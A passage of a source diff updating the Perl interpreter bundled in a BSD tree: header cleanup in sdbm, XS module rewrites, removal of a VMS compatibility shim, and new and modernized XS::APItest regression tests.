-#define proto(p) p
-#else
-#define proto(p) ()
-#endif
-
/*
* flags to sdbm_store
*/
@@ -68,20 +62,20 @@ extern const datum nullitem;
/*
* ndbm interface
*/
-extern DBM *sdbm_open proto((char *, int, int));
-extern void sdbm_close proto((DBM *));
-extern datum sdbm_fetch proto((DBM *, datum));
-extern int sdbm_delete proto((DBM *, datum));
-extern int sdbm_store proto((DBM *, datum, datum, int));
-extern datum sdbm_firstkey proto((DBM *));
-extern datum sdbm_nextkey proto((DBM *));
-extern int sdbm_exists proto((DBM *, datum));
+extern DBM *sdbm_open(char *, int, int);
+extern void sdbm_close(DBM *);
+extern datum sdbm_fetch(DBM *, datum);
+extern int sdbm_delete(DBM *, datum);
+extern int sdbm_store(DBM *, datum, datum, int);
+extern datum sdbm_firstkey(DBM *);
+extern datum sdbm_nextkey(DBM *);
+extern int sdbm_exists(DBM *, datum);
/*
* other
*/
-extern DBM *sdbm_prep proto((char *, char *, int, int));
-extern long sdbm_hash proto((const char *, int));
+extern DBM *sdbm_prep(char *, char *, int, int);
+extern long sdbm_hash(const char *, int);
#ifndef SDBM_ONLY
#define dbm_open sdbm_open
@@ -117,10 +111,6 @@ extern long sdbm_hash proto((const char *, int));
# endif
#endif
-#if defined(__STDC__) || defined(_AIX) || defined(__stdc__) || defined(__cplusplus)
-# define STANDARD_C 1
-#endif
-
#include <stdio.h>
#include <ctype.h>
#include <setjmp.h>
@@ -159,10 +149,8 @@ extern long sdbm_hash proto((const char *, int));
# endif
#endif
-/* Use all the "standard" definitions? */
-#if defined(STANDARD_C) && defined(I_STDLIB)
-# include <stdlib.h>
-#endif /* STANDARD_C */
+/* Use all the "standard" definitions */
+#include <stdlib.h>
#define MEM_SIZE Size_t
@@ -179,10 +167,10 @@ extern long sdbm_hash proto((const char *, int));
extern "C" {
#endif
-Malloc_t Perl_malloc proto((MEM_SIZE nbytes));
-Malloc_t Perl_calloc proto((MEM_SIZE elements, MEM_SIZE size));
-Malloc_t Perl_realloc proto((Malloc_t where, MEM_SIZE nbytes));
-Free_t Perl_mfree proto((Malloc_t where));
+Malloc_t Perl_malloc(MEM_SIZE nbytes);
+Malloc_t Perl_calloc(MEM_SIZE elements, MEM_SIZE size);
+Malloc_t Perl_realloc(Malloc_t where, MEM_SIZE nbytes);
+Free_t Perl_mfree(Malloc_t where);
#ifdef __cplusplus
}
@@ -190,91 +178,16 @@ Free_t Perl_mfree proto((Malloc_t where));
#endif /* MYMALLOC */
-#ifdef I_STRING
-# ifndef __ultrix__
-# include <string.h>
-# endif
-#else
-# include <strings.h>
-#endif
+#include <string.h>
-#ifdef I_MEMORY
-#include <memory.h>
-#endif
+#define memzero(d,l) memset(d,0,l)
-#ifdef __cplusplus
-#define HAS_MEMCPY
+#ifdef BUGGY_MSC
+# pragma function(memcmp)
#endif
-#ifdef HAS_MEMCPY
-# if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-# ifndef memcpy
- extern char * memcpy proto((char*, char*, int));
-# endif
-# endif
-#else
-# ifndef memcpy
-# ifdef HAS_BCOPY
-# define memcpy(d,s,l) bcopy(s,d,l)
-# else
-# define memcpy(d,s,l) my_bcopy(s,d,l)
-# endif
-# endif
-#endif /* HAS_MEMCPY */
-
-#ifdef HAS_MEMSET
-# if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-# ifndef memset
- extern char *memset proto((char*, int, int));
-# endif
-# endif
-# define memzero(d,l) memset(d,0,l)
-#else
-# ifndef memzero
-# ifdef HAS_BZERO
-# define memzero(d,l) bzero(d,l)
-# else
-# define memzero(d,l) my_bzero(d,l)
-# endif
-# endif
-#endif /* HAS_MEMSET */
-
-#if defined(mips) && defined(ultrix) && !defined(__STDC__)
-# undef HAS_MEMCMP
-#endif
-
-#if defined(HAS_MEMCMP) && defined(HAS_SANE_MEMCMP)
-# if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-# ifndef memcmp
- extern int memcmp proto((char*, char*, int));
-# endif
-# endif
-# ifdef BUGGY_MSC
-# pragma function(memcmp)
-# endif
-#else
-# ifndef memcmp
- /* maybe we should have included the full embedding header... */
-# define memcmp Perl_my_memcmp
-#ifndef __cplusplus
- extern int memcmp proto((char*, char*, int));
-#endif
-# endif
-#endif /* HAS_MEMCMP */
-
-#ifndef HAS_BCMP
-# ifndef bcmp
-# define bcmp(s1,s2,l) memcmp(s1,s2,l)
-# endif
-#endif /* !HAS_BCMP */
-
-#ifdef HAS_MEMCMP
-# define memNE(s1,s2,l) (memcmp(s1,s2,l))
-# define memEQ(s1,s2,l) (!memcmp(s1,s2,l))
-#else
-# define memNE(s1,s2,l) (bcmp(s1,s2,l))
-# define memEQ(s1,s2,l) (!bcmp(s1,s2,l))
-#endif
+#define memNE(s1,s2,l) (memcmp(s1,s2,l))
+#define memEQ(s1,s2,l) (!memcmp(s1,s2,l))
#ifdef I_NETINET_IN
# ifdef VMS
diff --git a/gnu/usr.bin/perl/ext/Sys-Hostname/t/Hostname.t b/gnu/usr.bin/perl/ext/Sys-Hostname/t/Hostname.t
index 40352ba2377..a8c259d7c90 100755
--- a/gnu/usr.bin/perl/ext/Sys-Hostname/t/Hostname.t
+++ b/gnu/usr.bin/perl/ext/Sys-Hostname/t/Hostname.t
@@ -10,14 +10,28 @@ BEGIN {
use Sys::Hostname;
-eval {
- $host = hostname;
-};
+use Test::More tests => 4;
-if ($@) {
- print "1..0\n" if $@ =~ /Cannot get host name/;
-} else {
- print "1..1\n";
- print "# \$host = '$host'\n";
- print "ok 1\n";
+SKIP:
+{
+ eval {
+ $host = hostname;
+ };
+ skip "No hostname available", 1
+ if $@ =~ /Cannot get host name/;
+ isnt($host, undef, "got a hostname");
+}
+
+{
+ use warnings;
+ my $warn;
+ local $SIG{__WARN__} = sub { $warn = "@_" };
+ eval { hostname("dummy") };
+ ok($warn, "warns with an argument");
+ like($warn, qr/hostname\(\) doesn't accept any arguments/,
+ "appropriate message");
+ no warnings "deprecated";
+ undef $warn;
+ eval { hostname("dummy") };
+ is($warn, undef, "no warning when disabled");
}
diff --git a/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.pm b/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.pm
index 9702666799c..32a0029ceed 100644
--- a/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.pm
+++ b/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.pm
@@ -1,7 +1,7 @@
use strict;
package Tie::Hash::NamedCapture;
-our $VERSION = "0.09";
+our $VERSION = "0.10";
require XSLoader;
XSLoader::load(); # This returns true, which makes require happy.
diff --git a/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.xs b/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.xs
index 04cc4638e64..7eaae5614d0 100644
--- a/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.xs
+++ b/gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.xs
@@ -16,31 +16,23 @@
#define EXISTS_ALIAS (RXapif_EXISTS | (2 << EXPECT_SHIFT))
#define SCALAR_ALIAS (RXapif_SCALAR | (1 << EXPECT_SHIFT))
-static void
-tie_it(pTHX_ const char name, UV flag, HV *const stash)
-{
- GV *const gv = gv_fetchpvn(&name, 1, GV_ADDMULTI|GV_NOTQUAL, SVt_PVHV);
- HV *const hv = GvHV(gv);
- SV *rv = newSV_type(SVt_RV);
+MODULE = Tie::Hash::NamedCapture PACKAGE = Tie::Hash::NamedCapture
+PROTOTYPES: DISABLE
- SvRV_set(rv, newSVuv(flag));
+void
+_tie_it(SV *sv)
+ INIT:
+ GV * const gv = (GV *)sv;
+ HV * const hv = GvHVn(gv);
+ SV *rv = newSV_type(SVt_RV);
+ CODE:
+ SvRV_set(rv, newSVuv(*GvNAME(gv) == '-' ? RXapif_ALL : RXapif_ONE));
SvROK_on(rv);
- sv_bless(rv, stash);
+ sv_bless(rv, GvSTASH(CvGV(cv)));
sv_unmagic((SV *)hv, PERL_MAGIC_tied);
sv_magic((SV *)hv, rv, PERL_MAGIC_tied, NULL, 0);
SvREFCNT_dec(rv); /* As sv_magic increased it by one. */
-}
-
-MODULE = Tie::Hash::NamedCapture PACKAGE = Tie::Hash::NamedCapture
-PROTOTYPES: DISABLE
-
-BOOT:
- {
- HV *const stash = GvSTASH(CvGV(cv));
- tie_it(aTHX_ '-', RXapif_ALL, stash);
- tie_it(aTHX_ '+', RXapif_ONE, stash);
- }
SV *
TIEHASH(package, ...)
diff --git a/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.pm b/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.pm
index 4d05994279e..02ba8668ed4 100644
--- a/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.pm
+++ b/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.pm
@@ -8,18 +8,17 @@
package VMS::Stdio;
require 5.002;
-use vars qw( $VERSION @EXPORT @EXPORT_OK %EXPORT_TAGS @ISA );
use Carp '&croak';
use DynaLoader ();
use Exporter ();
-
-$VERSION = '2.41';
-@ISA = qw( Exporter DynaLoader IO::File );
-@EXPORT = qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY &O_NOWAIT
+
+our $VERSION = '2.44';
+our @ISA = qw( Exporter DynaLoader IO::File );
+our @EXPORT = qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY &O_NOWAIT
&O_RDONLY &O_RDWR &O_TRUNC &O_WRONLY );
-@EXPORT_OK = qw( &binmode &flush &getname &remove &rewind &sync &setdef &tmpnam
+our @EXPORT_OK = qw( &binmode &flush &getname &remove &rewind &sync &setdef &tmpnam
&vmsopen &vmssysopen &waitfh &writeof );
-%EXPORT_TAGS = ( CONSTANTS => [ qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY
+our %EXPORT_TAGS = ( CONSTANTS => [ qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY
&O_NOWAIT &O_RDONLY &O_RDWR &O_TRUNC
&O_WRONLY ) ],
FUNCTIONS => [ qw( &binmode &flush &getname &remove &rewind
@@ -48,30 +47,6 @@ sub AUTOLOAD {
sub DESTROY { close($_[0]); }
-################################################################################
-# Intercept calls to old VMS::stdio package, complain, and hand off
-# This will be removed in a future version of VMS::Stdio
-
-package VMS::stdio;
-
-sub AUTOLOAD {
- my($func) = $AUTOLOAD;
- $func =~ s/.*:://;
- # Cheap trick: we know DynaLoader has required Carp.pm
- Carp::carp("Old package VMS::stdio is now VMS::Stdio; please update your code");
- if ($func eq 'vmsfopen') {
- Carp::carp("Old function &vmsfopen is now &vmsopen");
- goto &VMS::Stdio::vmsopen;
- }
- elsif ($func eq 'fgetname') {
- Carp::carp("Old function &fgetname is now &getname");
- goto &VMS::Stdio::getname;
- }
- else { goto &{"VMS::Stdio::$func"}; }
-}
-
-package VMS::Stdio; # in case we ever use AutoLoader
-
1;
__END__
@@ -138,13 +113,11 @@ is done to save startup time for users who don't wish to use
the IO::File methods.
B<Note:> In order to conform to naming conventions for Perl
-extensions and functions, the name of this package has been
-changed to VMS::Stdio as of Perl 5.002, and the names of some
-routines have been changed. Calls to the old VMS::stdio routines
-will generate a warning, and will be routed to the equivalent
-VMS::Stdio function. This compatibility interface will be
-removed in a future release of this extension, so please
-update your code to use the new routines.
+extensions and functions, the name of this package was
+changed to from VMS::stdio to VMS::Stdio as of Perl 5.002, and the names of some
+routines were changed. For many releases, calls to the old VMS::stdio routines
+would generate a warning, and then route to the equivalent
+VMS::Stdio function. This compatibility interface has now been removed.
=over 4
diff --git a/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.xs b/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.xs
index 144f9370cc7..64e1ef344b1 100644
--- a/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.xs
+++ b/gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.xs
@@ -4,6 +4,9 @@
*
*/
+/* We now depend on handy.h macros that are not public API. */
+#define PERL_EXT
+
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
@@ -15,7 +18,7 @@
static bool
constant(char *name, IV *pval)
{
- if (strnNE(name, "O_", 2)) return FALSE;
+ if (! strBEGINs(name, "O_")) return FALSE;
if (strEQ(name, "O_APPEND"))
#ifdef O_APPEND
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/APItest_BS b/gnu/usr.bin/perl/ext/XS-APItest/APItest_BS
new file mode 100644
index 00000000000..d9ec22fb628
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/APItest_BS
@@ -0,0 +1,7 @@
+#
+# test that non-empty .bs files get executed (but only once)
+
+$bscode = <<'EOF';
+$::bs_file_got_executed++;
+EOF
+
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/autoload.t b/gnu/usr.bin/perl/ext/XS-APItest/t/autoload.t
index bb670e91b6a..b3599b362c3 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/autoload.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/autoload.t
@@ -80,12 +80,12 @@ is join(" ", eval 'a "b", "c"'), '$',
ok(XS::APItest::AUTOLOADtest->can('AUTOLOAD'), 'Test class ->can AUTOLOAD');
# Used to communicate from the XS AUTOLOAD to Perl land
-use vars '$the_method';
+our $the_method;
# First, set up the Perl equivalent to what we're testing in
# XS so we have a comparison
package PerlBase;
-use vars '$AUTOLOAD';
+our $AUTOLOAD;
sub AUTOLOAD {
Test::More::ok(defined $AUTOLOAD);
return 1 if not defined $AUTOLOAD;
@@ -94,12 +94,10 @@ sub AUTOLOAD {
}
package PerlDerived;
-use vars '@ISA';
-@ISA = qw(PerlBase);
+our @ISA = qw(PerlBase);
package Derived;
-use vars '@ISA';
-@ISA = qw(XS::APItest::AUTOLOADtest);
+our @ISA = qw(XS::APItest::AUTOLOADtest);
package main;
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/blockhooks.t b/gnu/usr.bin/perl/ext/XS-APItest/t/blockhooks.t
index 37590bc7ab9..a2a5486aed9 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/blockhooks.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/blockhooks.t
@@ -5,6 +5,9 @@ use strict;
use Test::More tests => 17;
use XS::APItest;
+
+BEGIN { push @INC, '.' } # t/BHK.pm is in ext/XS-APItest/ directory
+
use t::BHK (); # make sure it gets compiled early
BEGIN { package XS::APItest; *main::bhkav = \@XS::APItest::bhkav }
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/bootstrap.t b/gnu/usr.bin/perl/ext/XS-APItest/t/bootstrap.t
new file mode 100644
index 00000000000..2c6c03466fa
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/bootstrap.t
@@ -0,0 +1,17 @@
+#!perl -w
+#
+# check that .bs files are loaded and executed.
+# During build of XS::APItest, the presence of APItest_BS should
+# cause a non-empty APItest.bs file to auto-generated. When loading
+# APItest.so, the .bs should be automatically executed, which should
+# set $::bs_file_got_executed.
+
+use strict;
+
+use Test::More;
+use XS::APItest;
+
+is $::bs_file_got_executed, 1, "BS file was executed once";
+
+done_testing();
+
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/get.t b/gnu/usr.bin/perl/ext/XS-APItest/t/get.t
new file mode 100644
index 00000000000..2264d664f9d
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/get.t
@@ -0,0 +1,22 @@
+
+# Tests for the get_*v functions.
+
+use Test::More tests => 5;
+use XS::APItest;
+
+# XXX So far we only test get_cv.
+
+is get_cv("utf8::encode"), \&utf8::encode, 'get_cv(utf8::encode)';
+
+sub foo { " ooof" } # should be stored in the stash as a subref
+die "Test has been sabotaged: sub foo{} should not create a full glob"
+ unless ref $::{foo} eq 'CODE';
+
+my $subref = get_cv("foo");
+is ref $subref, "CODE", 'got a coderef from get_cv("globless sub")';
+is &$subref, " ooof", 'got the right sub';
+
+sub bar { "burr" }
+$subref = get_cv_flags("bar",GV_NOADD_NOINIT);
+is ref $subref, "CODE", 'got a coderef from get_cv with GV_NOADD_NOINIT';
+is &$subref, "burr", 'got the right sub';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmeth.t b/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmeth.t
index 9f6e884a112..9ba1650e8f3 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmeth.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmeth.t
@@ -3,7 +3,7 @@
use strict;
use warnings;
-use Test::More tests => 40;
+use Test::More tests => 44;
use_ok('XS::APItest');
@@ -45,6 +45,10 @@ ok !XS::APItest::gv_fetchmeth_type(\%::, "method\0not quite!", 3, $level, 0), "g
sub ï½ï½…thï½ï½„ { 1 }
+ use constant { φου1 => 1,
+ φου2 => 2,
+ φου3 => 3, };
+
my $meth_as_octets =
"\357\275\215\357\275\205\357\275\224\357\275\210\357\275\217\357\275\204";
@@ -53,6 +57,7 @@ ok !XS::APItest::gv_fetchmeth_type(\%::, "method\0not quite!", 3, $level, 0), "g
::is XS::APItest::gv_fetchmeth_type(\%ï½ï½ï½‰ï½Ž::, "ï½ï½…thï½ï½„", $type, $level, 0), "*ï½ï½ï½‰ï½Ž::ï½ï½…thï½ï½„", "$types[$type] is UTF-8 clean";
::ok !XS::APItest::gv_fetchmeth_type(\%ï½ï½ï½‰ï½Ž::, $meth_as_octets, $type, $level, 0);
::ok !XS::APItest::gv_fetchmeth_type(\%ï½ï½ï½‰ï½Ž::, "method", $type, $level, 0);
+ ::is XS::APItest::gv_fetchmeth_type(\%ï½ï½ï½‰ï½Ž::, "φου$type", $type, $level, 0), "*ï½ï½ï½‰ï½Ž::φου$type", "$types[$type] can fetch UTF-8 constant";
{
no strict 'refs';
@@ -65,3 +70,10 @@ ok !XS::APItest::gv_fetchmeth_type(\%::, "method\0not quite!", 3, $level, 0), "g
}
}
}
+
+{
+ @Foo::ISA = qw/Bar/;
+ @Bar::ISA = qw//;
+
+ is(XS::APItest::gv_fetchmeth_type(\%Foo::, "nomethod", 1, -1, 0), undef, 'gv_fetchmeth_sv survives @ISA traversal');
+}
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmethod_flags.t b/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmethod_flags.t
index 15d1c41c6ab..2da3b70685b 100644
--- a/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmethod_flags.t
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmethod_flags.t
@@ -49,3 +49,8 @@ is XS::APItest::gv_fetchmethod_flags_type(\%::, "method\0not quite!", 2, 0), "*m
}
}
}
+
+# [perl #129267] Buffer overrun when argument name ends with colon and
+# there is a colon past the end. This used to segv.
+XS::APItest::gv_fetchmethod_flags_type(\%::, "method:::::", 4, 7);
+ # With type 4, 7 is the length
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy00.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy00.t
new file mode 100644
index 00000000000..7c3e4e3e729
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy00.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 0;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy01.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy01.t
new file mode 100644
index 00000000000..2fd8ec1d21b
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy01.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 1;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy02.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy02.t
new file mode 100644
index 00000000000..2d4e78d311b
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy02.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 2;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy03.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy03.t
new file mode 100644
index 00000000000..fe07af3b64b
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy03.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 3;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy04.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy04.t
new file mode 100644
index 00000000000..08977a1aa73
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy04.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 4;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy05.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy05.t
new file mode 100644
index 00000000000..d2bb9269bc7
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy05.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 5;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy06.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy06.t
new file mode 100644
index 00000000000..44fd1c63467
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy06.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 6;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy07.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy07.t
new file mode 100644
index 00000000000..c6c2d5092a4
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy07.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 7;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy08.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy08.t
new file mode 100644
index 00000000000..7e546d73713
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy08.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 8;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy09.t b/gnu/usr.bin/perl/ext/XS-APItest/t/handy09.t
new file mode 100644
index 00000000000..38d89c0c735
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy09.t
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 9;
+
+do './t/handy_base.pl';
diff --git a/gnu/usr.bin/perl/ext/XS-APItest/t/handy_base.pl b/gnu/usr.bin/perl/ext/XS-APItest/t/handy_base.pl
new file mode 100644
index 00000000000..7e8194e6433
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/XS-APItest/t/handy_base.pl
@@ -0,0 +1,624 @@
+#!perl -w
+
+BEGIN {
+ require 'loc_tools.pl'; # Contains locales_enabled() and
+ # find_utf8_ctype_locale()
+}
+
+use strict;
+use Test::More;
+use Config;
+
+use XS::APItest;
+
+my $tab = " " x 4; # Indent subsidiary tests this much
+
+use Unicode::UCD qw(search_invlist prop_invmap prop_invlist);
+my ($charname_list, $charname_map, $format, $default) = prop_invmap("Name Alias");
+
+sub get_charname($) {
+ my $cp = shift;
+
+ # If there is a an abbreviation for the code point name, use it
+ my $name_index = search_invlist(\@{$charname_list}, $cp);
+ if (defined $name_index) {
+ my $synonyms = $charname_map->[$name_index];
+ if (ref $synonyms) {
+ my $pat = qr/: abbreviation/;
+ my @abbreviations = grep { $_ =~ $pat } @$synonyms;
+ if (@abbreviations) {
+ return $abbreviations[0] =~ s/$pat//r;
+ }
+ }
+ }
+
+ # Otherwise, use the full name
+ use charnames ();
+ return charnames::viacode($cp) // "No name";
+}
+
+sub truth($) { # Converts values so is() works
+ return (shift) ? 1 : 0;
+}
+
+my $base_locale;
+my $utf8_locale;
+if(locales_enabled('LC_ALL')) {
+ require POSIX;
+ $base_locale = POSIX::setlocale( &POSIX::LC_ALL, "C");
+ if (defined $base_locale && $base_locale eq 'C') {
+ use locale; # make \w work right in non-ASCII lands
+
+ # Some locale implementations don't have the 128-255 characters all
+ # mean nothing. Skip the locale tests in that situation
+ for my $u (128 .. 255) {
+ if (chr(utf8::unicode_to_native($u)) =~ /[[:print:]]/) {
+ undef $base_locale;
+ last;
+ }
+ }
+
+ $utf8_locale = find_utf8_ctype_locale() if $base_locale;
+ }
+}
+
+sub get_display_locale_or_skip($$) {
+
+ # Helper function intimately tied to its callers. It knows the loop
+ # iterates with a locale of "", meaning don't use locale; $base_locale
+ # meaning to use a non-UTF-8 locale; and $utf8_locale.
+ #
+ # It checks to see if the current test should be skipped or executed,
+ # returning an empty list for the former, and for the latter:
+ # ( 'locale display name',
+ # bool of is this a UTF-8 locale )
+ #
+ # The display name is the empty string if not using locale. Functions
+ # with _LC in their name are skipped unless in locale, and functions
+ # without _LC are executed only outside locale.
+
+ my ($locale, $suffix) = @_;
+
+ # The test should be skipped if the input is for a non-existent locale
+ return unless defined $locale;
+
+ # Here the input is defined, either a locale name or "". If the test is
+ # for not using locales, we want to do the test for non-LC functions,
+ # and skip it for LC ones.
+ if ($locale eq "") {
+ return ("", 0) if $suffix !~ /LC/;
+ return;
+ }
+
+ # Here the input is for a real locale. We don't test the non-LC functions
+ # for locales.
+ return if $suffix !~ /LC/;
+
+ # Here is for a LC function and a real locale. The base locale is not
+ # UTF-8.
+ return (" ($locale locale)", 0) if $locale eq $base_locale;
+
+ # The only other possibility is that we have a UTF-8 locale
+ return (" ($locale)", 1);
+}
+
+sub try_malforming($$$)
+{
+ # Determines if the tests for malformed UTF-8 should be done. When done,
+ # the .xs code creates malformations by pretending the length is shorter
+ # than it actually is. Some things can't be malformed, and sometimes this
+ # test knows that the current code doesn't look for a malformation under
+ # various circumstances.
+
+ my ($u, $function, $using_locale) = @_;
+ # $u is unicode code point;
+
+ # Single bytes can't be malformed
+ return 0 if $u < ((ord "A" == 65) ? 128 : 160);
+
+ # ASCII doesn't need to ever look beyond the first byte.
+ return 0 if $function eq "ASCII";
+
+ # Nor, on EBCDIC systems, does CNTRL
+ return 0 if ord "A" != 65 && $function eq "CNTRL";
+
+ # No controls above 255, so the code doesn't look at those
+ return 0 if $u > 255 && $function eq "CNTRL";
+
+ # No non-ASCII digits below 256, except if using locales.
+ return 0 if $u < 256 && ! $using_locale && $function =~ /X?DIGIT/;
+
+ return 1;
+}
+
+my %properties = (
+ # name => Lookup-property name
+ alnum => 'Word',
+ wordchar => 'Word',
+ alphanumeric => 'Alnum',
+ alpha => 'XPosixAlpha',
+ ascii => 'ASCII',
+ blank => 'Blank',
+ cntrl => 'Control',
+ digit => 'Digit',
+ graph => 'Graph',
+ idfirst => '_Perl_IDStart',
+ idcont => '_Perl_IDCont',
+ lower => 'XPosixLower',
+ print => 'Print',
+ psxspc => 'XPosixSpace',
+ punct => 'XPosixPunct',
+ quotemeta => '_Perl_Quotemeta',
+ space => 'XPerlSpace',
+ vertws => 'VertSpace',
+ upper => 'XPosixUpper',
+ xdigit => 'XDigit',
+ );
+
+my %seen;
+my @warnings;
+local $SIG{__WARN__} = sub { push @warnings, @_ };
+
+my %utf8_param_code = (
+ "_safe" => 0,
+ "_safe, malformed" => 1,
+ "deprecated unsafe" => -1,
+ "deprecated mathoms" => -2,
+ );
+
+# This test is split into this number of files.
+my $num_test_files = $ENV{TEST_JOBS} || 1;
+$::TEST_CHUNK = 0 if $num_test_files == 1 && ! defined $::TEST_CHUNK;
+$num_test_files = 10 if $num_test_files > 10;
+
+my $property_count = -1;
+foreach my $name (sort keys %properties, 'octal') {
+
+ # We test every nth property in this run so that this test is split into
+ # smaller chunks to minimize test suite elapsed time when run in parallel.
+ $property_count++;
+ next if $property_count % $num_test_files != $::TEST_CHUNK;
+
+ my @invlist;
+ if ($name eq 'octal') {
+ # Hand-roll an inversion list with 0-7 in it and nothing else.
+ push @invlist, ord "0", ord "8";
+ }
+ else {
+ my $property = $properties{$name};
+ @invlist = prop_invlist($property, '_perl_core_internal_ok');
+ if (! @invlist) {
+
+ # An empty return could mean an unknown property, or merely that
+ # it is empty. Call in scalar context to differentiate
+ if (! prop_invlist($property, '_perl_core_internal_ok')) {
+ fail("No inversion list found for $property");
+ next;
+ }
+ }
+ }
+
+ # Include all the Latin1 code points, plus 0x100.
+ my @code_points = (0 .. 256);
+
+ # Then include the next few boundaries above those from this property
+ my $above_latins = 0;
+ foreach my $range_start (@invlist) {
+ next if $range_start < 257;
+ push @code_points, $range_start - 1, $range_start;
+ $above_latins++;
+ last if $above_latins > 5;
+ }
+
+ # This makes sure we are using the Perl definition of idfirst and idcont,
+ # and not the Unicode. There are a few differences.
+ push @code_points, ord "\N{ESTIMATED SYMBOL}" if $name =~ /^id(first|cont)/;
+ if ($name eq "idcont") { # And some that are continuation but not start
+ push @code_points, ord("\N{GREEK ANO TELEIA}"),
+ ord("\N{COMBINING GRAVE ACCENT}");
+ }
+
